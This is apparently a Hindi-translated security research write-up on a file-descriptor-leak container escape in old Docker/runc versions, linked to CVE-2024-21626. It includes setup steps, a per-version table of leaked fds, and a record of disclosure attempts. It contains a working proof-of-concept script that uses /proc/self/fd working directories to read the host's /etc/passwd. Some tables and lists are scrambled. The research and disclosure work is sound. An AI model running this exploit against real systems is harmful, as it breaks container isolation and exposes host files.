
कंटेनर एस्केप भेद्यता का विश्लेषण और शोषण करता है, जो पुराने Docker/runc संस्करणों में पाई जाती है, fd लीकेज के माध्यम से होस्ट फाइलसिस्टम तक पहुंच प्रदर्शित करता है, साथ ही सेटअप और परीक्षण स्क्रिप्ट के साथ।
मेरे विश्लेषण के दौरान CVE-2024-21626 के बारे में मैंने पाया कि अन्य पुराने डॉकर घटक fd लीकेज के प्रति संवेदनशील हैं (जिसका उल्लेख सुरक्षा सलाहकार GHSA-xr7r-f8xq-vfvv में नहीं किया गया है)। विस्तृत स्पष्टीकरण के लिए मेरा पूरा लेख यहाँ पढ़ें।
इंस्टॉलेशन के दौरान अपडेट सिस्टम डाउनलोड करने का विकल्प चेक न करें।
परीक्षण के लिए https://download.docker.com/linux/static/stable/x86_64/ पर जाएं और पुराना संस्करण docker-X.Y.Z-ce.tgz डाउनलोड करें
इसे निकालें (extract), सामग्री को /usr/bin पथ पर कॉपी करें और Docker डेमॉन चलाएँ।
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
पुराने संस्करणों में हमारे पास runc के बजाय docker-runc होता है। इसलिए इसे जाँचें:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
doker-runc/runc का संस्करण जाँचें
runc --version
docker-runc -v
checkVulnerability.sh चलाएँ और देखें कि फ़ाइल टर्मिनल में प्रिंट होती है या नहीं।
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
इस उदाहरण के लिए मैंने docker-17.03.1-ce संस्करण का उपयोग किया।

इस उदाहरण के लिए मैंने docker-17.03.1-ce संस्करण का उपयोग किया।

नीचे मेरे विश्लेषण के परिणाम दिए गए हैं, जो Docker संस्करण और उपयोग किए गए संबंधित runc संस्करण के अनुसार व्यवस्थित हैं।
| Docker Version | runc version | Leaked fd number |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
यहां तीन अलग-अलग संवेदनशील संस्करणों को दिखाने वाला स्क्रीनशॉट है।
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
जैसा कि CVE-2024-21626 में है, विभिन्न प्रकार के हमले अभी भी संभव हैं।
यह भेद्यता CVE-2024-21626 से काफी अलग है क्योंकि:
openat2 सिसकॉल मौजूद नहीं होता।/run/runc/<container>/ पथ में स्थित होता है, जिसमें चल रहे कंटेनरों की स्थिति होती है, न कि होस्ट की /sys/fs/cgroup डायरेक्टरी में।मैंने जो खोजा वह यह है कि पुराने संस्करण भी उसी हमला तकनीक के प्रति संवेदनशील हैं। हालाँकि भेद्यता स्वयं अलग है, परिणाम वही है: होस्ट फ़ाइलसिस्टम तक पहुँच प्राप्त करना। मुख्य बात यह है कि केवल सुरक्षा सलाहकारों पर निर्भर न रहें - हर चीज़ का पूरी तरह से परीक्षण करें। CVE को पूरी तरह समझें, यह कैसे काम करता है, एक सुरक्षित वातावरण में इसके साथ प्रयोग करें, और किनारे के मामलों का पता लगाएँ।
मैंने [email protected], [email protected] से संपर्क करने की कोशिश की, और एक CVE खोलने का प्रयास किया। मुझे निम्नलिखित उत्तर प्राप्त हुए:
| Docker Version | docker-runc version | Leaked fd number |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Request | Reply |
|---|
| [email protected] (19/03/24) | आपके द्वारा सूचीबद्ध किए गए संस्करण सॉफ़्टवेयर के सभी EOL संस्करण हैं (~7 वर्ष पुराने) और अब Docker द्वारा पैच या रखरखाव नहीं किए जाते हैं। यदि आपको मौजूदा GHSA-xr7r-f8xq-vfvv सलाहकार में सूचीबद्ध संस्करणों या शब्दों के बारे में कोई चिंता है ("affected versions: >= 1.0.0-rc93, <= 1.1.11"), तो इसकी रिपोर्ट करने के लिए सही चैनल OCI सुरक्षा मेलबॉक्स होना चाहिए: https://github.com/opencontainers/.github/blob/main/SECURITY.md संपर्क करने के लिए धन्यवाद। अगर हम कुछ और कर सकते हैं तो हमें बताएं। |
| [email protected] (20/03/24) | कोई प्रतिक्रिया नहीं |
| CVE-MITRE (15/05/2024) | हम सामान्यतः केवल रिलीज़ कैंडिडेट में मौजूद समस्याओं के लिए CVE आईडी आवंटित नहीं करते हैं। https://www.cve.org/CVERecord?id=CVE-2024-21626 ने runc के रिलीज़ किए गए संस्करणों को प्रभावित किया था, जैसे रिलीज़ 1.1.11। |